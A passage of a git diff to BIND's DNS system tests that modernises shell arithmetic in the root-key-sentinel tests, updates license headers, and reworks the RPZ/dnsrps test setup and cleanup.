 newtest "check root-key-sentinel-is-ta with old ta and" " 'root-key-sentinel no;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.4 root-key-sentinel-is-ta-${oldid}.example A > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-not-ta with old ta and" " 'root-key-sentinel no;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.4 root-key-sentinel-not-ta-${oldid}.example A > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-is-ta with new ta and" " 'root-key-sentinel no;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.4 root-key-sentinel-is-ta-${newid}.example A > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-not-ta with new ta and" " 'root-key-sentinel no;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.4 root-key-sentinel-not-ta-${newid}.example A > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-is-ta with bad ta and" " 'root-key-sentinel no;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.4 root-key-sentinel-is-ta-${badid}.example A > dig.out.ns4.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-not-ta with bad ta and" " 'root-key-sentinel no;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.4 root-key-sentinel-not-ta-${badid}.example A > dig.out.ns4.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-is-ta with out-of-range ta and" " 'root-key-sentinel no;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.4 root-key-sentinel-is-ta-72345.example A > dig.out.ns4.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-not-ta with out-of-range ta and" " 'root-key-sentinel no;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.4 root-key-sentinel-not-ta-72345.example A > dig.out.ns4.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-is-ta with no-zero-pad ta and" " 'root-key-sentinel no;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.4 root-key-sentinel-is-ta-1234.example A > dig.out.ns4.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check root-key-sentinel-not-ta with no-zero-pad ta and" " 'root-key-sentinel no;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.4 root-key-sentinel-not-ta-1234.example A > dig.out.ns4.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check CNAME to root-key-sentinel-is-ta with old ta and" " 'root-key-sentinel no;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.4 old-is-ta.example A > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "old-is-ta.*CNAME.root-key-sentinel-is-ta-${oldid}.example." dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check CNAME to root-key-sentinel-not-ta with old ta and" " 'root-key-sentinel no;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.4 old-not-ta.example A > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "old-not-ta.*CNAME.root-key-sentinel-not-ta-${oldid}.example." dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check CNAME to root-key-sentinel-is-ta with new ta and" " 'root-key-sentinel no;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.4 new-is-ta.example A > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "new-is-ta.*CNAME.root-key-sentinel-is-ta-${newid}.example." dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check CNAME to root-key-sentinel-not-ta with new ta and" " 'root-key-sentinel no;' (expect NOERROR)"
 $DIG $DIGOPTS @10.53.0.4 new-not-ta.example A > dig.out.ns4.test$n || ret=1
 grep "status: NOERROR" dig.out.ns4.test$n > /dev/null || ret=1
 grep "new-not-ta.*CNAME.root-key-sentinel-not-ta-${newid}.example." dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check CNAME to root-key-sentinel-is-ta with bad ta and" " 'root-key-sentinel no;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.4 bad-is-ta.example A > dig.out.ns4.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 grep "bad-is-ta.*CNAME.root-key-sentinel-is-ta-${badid}.example" dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 newtest "check CNAME to root-key-sentinel-not-ta with bad ta and" " 'root-key-sentinel no;' (expect NXDOMAIN)"
 $DIG $DIGOPTS @10.53.0.4 bad-not-ta.example A > dig.out.ns4.test$n || ret=1
 grep "status: NXDOMAIN" dig.out.ns4.test$n > /dev/null || ret=1
 grep "bad-not-ta.*CNAME.root-key-sentinel-not-ta-${badid}.example." dig.out.ns4.test$n > /dev/null || ret=1
 if [ $ret != 0 ]; then echo_i "failed"; fi
-status=`expr $status + $ret`
+status=$((status + ret))
 
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/rootkeysentinel/tests_sh_rootkeysentinel.py b/bin/tests/system/rootkeysentinel/tests_sh_rootkeysentinel.py
new file mode 100644
index 0000000000..d1090d0972
--- /dev/null
+++ b/bin/tests/system/rootkeysentinel/tests_sh_rootkeysentinel.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_rootkeysentinel(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/rpz/.gitignore b/bin/tests/system/rpz/.gitignore
index 0457088016..2a9dd67107 100644
--- a/bin/tests/system/rpz/.gitignore
+++ b/bin/tests/system/rpz/.gitignore
@@ -1,2 +1 @@
-alt-dnsrpzd-license.conf
 dnsrps
diff --git a/bin/tests/system/rpz/README b/bin/tests/system/rpz/README
index 3cc70a0ed8..238e36026c 100644
--- a/bin/tests/system/rpz/README
+++ b/bin/tests/system/rpz/README
@@ -1,6 +1,13 @@
 Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 
-See COPYRIGHT in the source root or https://isc.org/copyright.html for terms.
+SPDX-License-Identifier: MPL-2.0
+
+This Source Code Form is subject to the terms of the Mozilla Public
+License, v. 2.0.  If a copy of the MPL was not distributed with this
+file, you can obtain one at https://mozilla.org/MPL/2.0/.
+
+See the COPYRIGHT file distributed with this work for additional
+information regarding copyright ownership.
 
 The test setup for the RPZ tests prepares a query perf tool and sets up
 policy zones.
diff --git a/bin/tests/system/rpz/clean.sh b/bin/tests/system/rpz/clean.sh
index f0e4ff43c8..d16b6e9664 100644
--- a/bin/tests/system/rpz/clean.sh
+++ b/bin/tests/system/rpz/clean.sh
@@ -1,7 +1,11 @@
+#!/bin/sh
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -18,7 +22,7 @@ while getopts "Px" c; do
 	*) echo "$USAGE" 1>&2; exit 1;;
     esac
 done
-shift `expr $OPTIND - 1 || true`
+shift $((OPTIND - 1))
 if test "$#" -ne 0; then
     echo "$USAGE" 1>&2
     exit 1
@@ -28,7 +32,7 @@ fi
 # from the first test pass so the second pass can be set up correctly.
 # remove those files first, then decide whether to remove the others.
 rm -f ns*/*.key ns*/*.private
-rm -f ns2/tld2s.db ns2/bl.tld2.db
+rm -f ns2/tld2s.db */bl.tld2.db */bl.tld2s.db
 rm -f ns3/bl*.db ns3/fast-expire.db ns*/empty.db
 rm -f ns3/manual-update-rpz.db
 rm -f ns3/mixed-case-rpz.db
@@ -36,6 +40,7 @@ rm -f ns5/example.db ns5/bl.db ns5/fast-expire.db ns5/expire.conf
 rm -f ns8/manual-update-rpz.db
 rm -f */policy2.db
 rm -f */*.jnl
+rm -f dnsrps.cache dnsrps.conf
 
 if [ ${PARTIAL:-unset} = unset ]; then
     rm -f proto.* dsset-* trusted.conf dig.out* nsupdate.tmp ns*/*tmp
@@ -45,9 +50,7 @@ if [ ${PARTIAL:-unset} = unset ]; then
     rm -f ns*/named.lock
     rm -f ns*/named.conf
     rm -f ns*/*switch
-    rm -f dnsrps*.conf
-    rm -f dnsrpzd.conf
-    rm -f dnsrpzd-license-cur.conf dnsrpzd.rpzf dnsrpzd.sock dnsrpzd.pid
+    rm -f dnsrps.zones
     rm -f ns*/managed-keys.bind*
     rm -f tmp
 fi
diff --git a/bin/tests/system/rpz/dnsrps.c b/bin/tests/system/rpz/dnsrps.c
index c41be0a71f..167433f1e1 100644
--- a/bin/tests/system/rpz/dnsrps.c
+++ b/bin/tests/system/rpz/dnsrps.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -11,11 +13,8 @@
 
 /*
  * -a		exit(0) if dnsrps is available or dlopen() msg if not
- * -p		print the path to dnsrpzd configured in dnsrps so that
- *		    dnsrpzd can be run by a setup.sh script.
- *		    Exit(1) if dnsrps is not available
  * -n domain	print the serial number of a domain to check if a new
- *		    version of a policy zone has been transferred to dnsrpzd.
+ *		    version of a policy zone is ready.
  *		    Exit(1) if dnsrps is not available
  * -w sec.ond	wait for seconds, because `sleep 0.1` is not portable
  */
@@ -31,14 +30,10 @@
 #include <sys/types.h>
 #include <unistd.h>
 
-#include <isc/print.h>
 #include <isc/util.h>
 
 #ifdef USE_DNSRPS
-#define LIBRPZ_LIB_OPEN DNSRPS_LIB_OPEN
 #include <dns/librpz.h>
-
-librpz_t *librpz;
 #else  /* ifdef USE_DNSRPS */
 typedef struct {
 	char c[120];
@@ -48,15 +43,15 @@ typedef struct {
 static bool
 link_dnsrps(librpz_emsg_t *emsg);
 
-#define USAGE "usage: [-ap] [-n domain] [-w sec.onds]\n"
+#define USAGE "usage: [-a] [-n domain] [-w sec.onds]\n"
 
 int
 main(int argc, char **argv) {
 #ifdef USE_DNSRPS
 	char cstr[sizeof("zone ") + 1024 + 10];
-	librpz_clist_t *clist;
-	librpz_client_t *client;
-	librpz_rsp_t *rsp;
+	librpz_clist_t *clist = NULL;
+	librpz_client_t *client = NULL;
+	librpz_rsp_t *rsp = NULL;
 	uint32_t serial;
 #endif /* ifdef USE_DNSRPS */
 	double seconds;
@@ -64,7 +59,7 @@ main(int argc, char **argv) {
 	char *p;
 	int i;
 
-	while ((i = getopt(argc, argv, "apn:w:")) != -1) {
+	while ((i = getopt(argc, argv, "an:w:")) != -1) {
 		switch (i) {
 		case 'a':
 			if (!link_dnsrps(&emsg)) {
@@ -73,19 +68,6 @@ main(int argc, char **argv) {
 			}
 			return (0);
 
-		case 'p':
-			if (!link_dnsrps(&emsg)) {
-				fprintf(stderr, "## %s\n", emsg.c);
-				return (1);
-			}
-#ifdef USE_DNSRPS
-			printf("%s\n", librpz->dnsrpzd_path);
-#else  /* ifdef USE_DNSRPS */
-			INSIST(0);
-			ISC_UNREACHABLE();
-#endif /* ifdef USE_DNSRPS */
-			return (0);
-
 		case 'n':
 			if (!link_dnsrps(&emsg)) {
 				fprintf(stderr, "## %s\n", emsg.c);
@@ -93,8 +75,7 @@ main(int argc, char **argv) {
 			}
 #ifdef USE_DNSRPS
 			/*
-			 * Get the serial number of a policy zone from
-			 * a running dnsrpzd daemon.
+			 * Get the serial number of a policy zone.
 			 */
 			clist = librpz->clist_create(&emsg, NULL, NULL, NULL,
 						     NULL, NULL);
@@ -102,38 +83,39 @@ main(int argc, char **argv) {
 				fprintf(stderr, "## %s: %s\n", optarg, emsg.c);
 				return (1);
 			}
-			snprintf(cstr, sizeof(cstr),
-				 "zone %s; dnsrpzd \"\";"
-				 " dnsrpzd-sock dnsrpzd.sock;"
-				 " dnsrpzd-rpzf dnsrpzd.rpzf",
-				 optarg);
+			snprintf(cstr, sizeof(cstr), "zone %s;", optarg);
 			client = librpz->client_create(&emsg, clist, cstr,
 						       true);
 			if (client == NULL) {
 				fprintf(stderr, "## %s\n", emsg.c);
+				librpz->clist_detach(&clist);
 				return (1);
 			}
 
 			rsp = NULL;
 			if (!librpz->rsp_create(&emsg, &rsp, NULL, client, true,
 						false) ||
-			    rsp == NULL) {
+			    rsp == NULL)
+			{
 				fprintf(stderr, "## %s\n", emsg.c);
 				librpz->client_detach(&client);
+				librpz->clist_detach(&clist);
 				return (1);
 			}
 
 			if (!librpz->soa_serial(&emsg, &serial, optarg, rsp)) {
 				fprintf(stderr, "## %s\n", emsg.c);
+				librpz->rsp_detach(&rsp);
 				librpz->client_detach(&client);
+				librpz->clist_detach(&clist);
 				return (1);
 			}
 			librpz->rsp_detach(&rsp);
 			librpz->client_detach(&client);
+			librpz->clist_detach(&clist);
 			printf("%u\n", serial);
 #else  /* ifdef USE_DNSRPS */
-			INSIST(0);
-			ISC_UNREACHABLE();
+			UNREACHABLE();
 #endif /* ifdef USE_DNSRPS */
 			return (0);
 
@@ -158,7 +140,7 @@ main(int argc, char **argv) {
 static bool
 link_dnsrps(librpz_emsg_t *emsg) {
 #ifdef USE_DNSRPS
-	librpz = librpz_lib_open(emsg, NULL, DNSRPS_LIBRPZ_PATH);
+	librpz = librpz_lib_open(emsg, NULL, LIBRPZ_LIB_OPEN);
 	if (librpz == NULL) {
 		return (false);
 	}
diff --git a/bin/tests/system/rpz/dnsrps.zones.in b/bin/tests/system/rpz/dnsrps.zones.in
new file mode 100644
index 0000000000..90789b347c
--- /dev/null
+++ b/bin/tests/system/rpz/dnsrps.zones.in
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+# dnsrpzd configuration.
+
+pid-file ../dnsrpzd.pid
+
+# configure NOTIFY and zone transfers
+port @EXTRAPORT1@;
+listen-on port @EXTRAPORT1@ { 10.53.0.3; };
+allow-notify { 10.53.0.0/24; };
+
+zone "bl0"		{type primary; file "../ns5/bl.db"; };
+zone "bl1"		{type primary; file "../ns5/bl.db"; };
+zone "bl2"		{type primary; file "../ns5/bl.db"; };
+zone "bl3"		{type primary; file "../ns5/bl.db"; };
+zone "bl4"		{type primary; file "../ns5/bl.db"; };
+zone "bl5"		{type primary; file "../ns5/bl.db"; };
+zone "bl6"		{type primary; file "../ns5/bl.db"; };
+zone "bl7"		{type primary; file "../ns5/bl.db"; };
+zone "bl8"		{type primary; file "../ns5/bl.db"; };
+zone "bl9"		{type primary; file "../ns5/bl.db"; };
+zone "bl10"		{type primary; file "../ns5/bl.db"; };
+zone "bl11"		{type primary; file "../ns5/bl.db"; };
+zone "bl12"		{type primary; file "../ns5/bl.db"; };
+zone "bl13"		{type primary; file "../ns5/bl.db"; };
+zone "bl14"		{type primary; file "../ns5/bl.db"; };
+zone "bl15"		{type primary; file "../ns5/bl.db"; };
+zone "bl16"		{type primary; file "../ns5/bl.db"; };
+zone "bl17"		{type primary; file "../ns5/bl.db"; };
+zone "bl18"		{type primary; file "../ns5/bl.db"; };
+zone "bl19"		{type primary; file "../ns5/bl.db"; };
+
+zone "bl"		{type secondary; primaries port @PORT@ { 10.53.0.3; }; };
+zone "bl-2"		{type secondary; primaries port @PORT@ { 10.53.0.3; }; };
+zone "bl-given"		{type secondary; primaries port @PORT@ { 10.53.0.3; }; };
+zone "bl-passthru"	{type secondary; primaries port @PORT@ { 10.53.0.3; }; };
+zone "bl-no-op"		{type secondary; primaries port @PORT@ { 10.53.0.3; }; };
+zone "bl-disabled"	{type secondary; primaries port @PORT@ { 10.53.0.3; }; };
+zone "bl-nodata"	{type secondary; primaries port @PORT@ { 10.53.0.3; }; };
+zone "bl-nxdomain"	{type secondary; primaries port @PORT@ { 10.53.0.3; }; };
+zone "bl-cname"		{type secondary; primaries port @PORT@ { 10.53.0.3; }; };
+zone "bl-wildcname"	{type secondary; primaries port @PORT@ { 10.53.0.3; }; };
+zone "bl-garden"	{type secondary; primaries port @PORT@ { 10.53.0.3; }; };
+zone "bl-drop"		{type secondary; primaries port @PORT@ { 10.53.0.3; }; };
+zone "bl-tcp-only"	{type secondary; primaries port @PORT@ { 10.53.0.3; }; };
+zone "bl.tld2"		{type secondary; primaries port @PORT@ { 10.53.0.3; }; };
+
+zone "policy1"		{type secondary; primaries port @PORT@ { 10.53.0.6; }; };
+zone "policy2"		{type secondary; primaries port @PORT@ { 10.53.0.7; }; };
diff --git a/bin/tests/system/rpz/dnsrpzd-license.conf b/bin/tests/system/rpz/dnsrpzd-license.conf
deleted file mode 100644
index 745c7c9757..0000000000
--- a/bin/tests/system/rpz/dnsrpzd-license.conf
+++ /dev/null
@@ -1,10 +0,0 @@
-zone isc.license.fastrpz.com {
-    masters port 53 {
-        KEY farsight_fastrpz_license 104.244.14.176;
-        KEY farsight_fastrpz_license 2620:11c:f008::176;
-    };
-};
-
-key farsight_fastrpz_license {
-    algorithm hmac-sha256; secret "f405d02b4c8af54855fcebc1";
-};
diff --git a/bin/tests/system/rpz/dnsrpzd.conf.in b/bin/tests/system/rpz/dnsrpzd.conf.in
deleted file mode 100644
index 667f782d43..0000000000
--- a/bin/tests/system/rpz/dnsrpzd.conf.in
+++ /dev/null
@@ -1,60 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-# dnsrpzd configuration.
-
-pid-file ../dnsrpzd.pid
-
-include ../dnsrpzd-license-cur.conf
-
-# configure NOTIFY and zone transfers
-port @EXTRAPORT1@;
-listen-on port @EXTRAPORT1@ { 10.53.0.3; };
-allow-notify { 10.53.0.0/24; };
-
-zone "bl0"		{type primary; file "../ns5/bl.db"; };
-zone "bl1"		{type primary; file "../ns5/bl.db"; };
-zone "bl2"		{type primary; file "../ns5/bl.db"; };
-zone "bl3"		{type primary; file "../ns5/bl.db"; };
-zone "bl4"		{type primary; file "../ns5/bl.db"; };
-zone "bl5"		{type primary; file "../ns5/bl.db"; };
-zone "bl6"		{type primary; file "../ns5/bl.db"; };
-zone "bl7"		{type primary; file "../ns5/bl.db"; };
-zone "bl8"		{type primary; file "../ns5/bl.db"; };
-zone "bl9"		{type primary; file "../ns5/bl.db"; };
-zone "bl10"		{type primary; file "../ns5/bl.db"; };
-zone "bl11"		{type primary; file "../ns5/bl.db"; };
-zone "bl12"		{type primary; file "../ns5/bl.db"; };
-zone "bl13"		{type primary; file "../ns5/bl.db"; };
-zone "bl14"		{type primary; file "../ns5/bl.db"; };
-zone "bl15"		{type primary; file "../ns5/bl.db"; };
-zone "bl16"		{type primary; file "../ns5/bl.db"; };
-zone "bl17"		{type primary; file "../ns5/bl.db"; };
-zone "bl18"		{type primary; file "../ns5/bl.db"; };
-zone "bl19"		{type primary; file "../ns5/bl.db"; };
-
-zone "bl"		{type slave; masters port @PORT@ { 10.53.0.3; }; };
-zone "bl-2"		{type slave; masters port @PORT@ { 10.53.0.3; }; };
-zone "bl-given"		{type slave; masters port @PORT@ { 10.53.0.3; }; };
-zone "bl-passthru"	{type slave; masters port @PORT@ { 10.53.0.3; }; };
-zone "bl-no-op"		{type slave; masters port @PORT@ { 10.53.0.3; }; };
-zone "bl-disabled"	{type slave; masters port @PORT@ { 10.53.0.3; }; };
-zone "bl-nodata"	{type slave; masters port @PORT@ { 10.53.0.3; }; };
-zone "bl-nxdomain"	{type slave; masters port @PORT@ { 10.53.0.3; }; };
-zone "bl-cname"		{type slave; masters port @PORT@ { 10.53.0.3; }; };
-zone "bl-wildcname"	{type slave; masters port @PORT@ { 10.53.0.3; }; };
-zone "bl-garden"	{type slave; masters port @PORT@ { 10.53.0.3; }; };
-zone "bl-drop"		{type slave; masters port @PORT@ { 10.53.0.3; }; };
-zone "bl-tcp-only"	{type slave; masters port @PORT@ { 10.53.0.3; }; };
-zone "bl.tld2"		{type slave; masters port @PORT@ { 10.53.0.3; }; };
-
-zone "policy1"		{type slave; masters port @PORT@ { 10.53.0.6; }; };
-zone "policy2"		{type slave; masters port @PORT@ { 10.53.0.7; }; };
diff --git a/bin/tests/system/rpz/ns1/named.conf.in b/bin/tests/system/rpz/ns1/named.conf.in
index 32bf1ecdd5..8b466f0f36 100644
--- a/bin/tests/system/rpz/ns1/named.conf.in
+++ b/bin/tests/system/rpz/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -20,11 +22,12 @@ options {
 	listen-on-v6 { none; };
 	notify no;
 	minimal-responses no;
+	dnssec-validation no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/rpz/ns1/root.db b/bin/tests/system/rpz/ns1/root.db
index 2e8ce08e69..6bf3d5a450 100644
--- a/bin/tests/system/rpz/ns1/root.db
+++ b/bin/tests/system/rpz/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/rpz/ns10/hints b/bin/tests/system/rpz/ns10/hints
new file mode 100644
index 0000000000..b657c3980e
--- /dev/null
+++ b/bin/tests/system/rpz/ns10/hints
@@ -0,0 +1,13 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+.	120	NS	ns.
+ns.	120	A	10.53.0.1
diff --git a/bin/tests/system/rpz/ns10/named.conf.in b/bin/tests/system/rpz/ns10/named.conf.in
new file mode 100644
index 0000000000..d645e381c7
--- /dev/null
+++ b/bin/tests/system/rpz/ns10/named.conf.in
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+ *
+ * SPDX-License-Identifier: MPL-2.0
+ *
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
+ *
+ * See the COPYRIGHT file distributed with this work for additional
+ * information regarding copyright ownership.
+ */
+
+options {
+	query-source address 10.53.0.10;
+	notify-source 10.53.0.10;
+	transfer-source 10.53.0.10;
+	port @PORT@;
+	pid-file "named.pid";
+	session-keyfile "session.key";
+	listen-on { 10.53.0.10; };
+	listen-on-v6 { none; };
+	notify no;
+	minimal-responses no;
+	recursion yes;
+	dnssec-validation yes;
+};
+
+key rndc_key {
+	secret "1234abcd8765";
+	algorithm @DEFAULT_HMAC@;
+};
+controls {
+	inet 10.53.0.10 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
+};
+
+include "../trusted.conf";
+zone "." { type hint; file "hints"; };
+
+# grafted on zones using stub and static-stub
+zone "stub-nomatch."		    {type primary; file "stub.db"; };
+zone "static-stub-nomatch."	    {type primary; file "stub.db"; };
diff --git a/bin/tests/system/rpz/ns10/stub.db b/bin/tests/system/rpz/ns10/stub.db
new file mode 100644
index 0000000000..8ecac8c2b2
--- /dev/null
+++ b/bin/tests/system/rpz/ns10/stub.db
@@ -0,0 +1,21 @@
+; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+;
+; SPDX-License-Identifier: MPL-2.0
+;
+; This Source Code Form is subject to the terms of the Mozilla Public
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
+;
+; See the COPYRIGHT file distributed with this work for additional
+; information regarding copyright ownership.
+
+; RPZ rewrite responses from this zone
+
+$TTL	120
+@		SOA	ns  hostmaster.ns ( 1 3600 1200 604800 60 )
+		NS	ns
+ns		A	10.53.0.10
+
+a3-1		A	10.53.99.99
+
+a4-1		A	10.53.99.99
diff --git a/bin/tests/system/rpz/ns2/base-tld2s.db b/bin/tests/system/rpz/ns2/base-tld2s.db
index 039b160141..77114ec928 100644
--- a/bin/tests/system/rpz/ns2/base-tld2s.db
+++ b/bin/tests/system/rpz/ns2/base-tld2s.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
@@ -21,3 +23,4 @@ a0-1-scname	CNAME	a0-1.tld2.
 
 a3-5		A	192.168.3.5
 
+a7-2		A	192.168.7.2
diff --git a/bin/tests/system/rpz/ns2/bl.tld2.db.in b/bin/tests/system/rpz/ns2/bl.tld2.db.in
index b68a9f1b6f..25780b7150 100644
--- a/bin/tests/system/rpz/ns2/bl.tld2.db.in
+++ b/bin/tests/system/rpz/ns2/bl.tld2.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
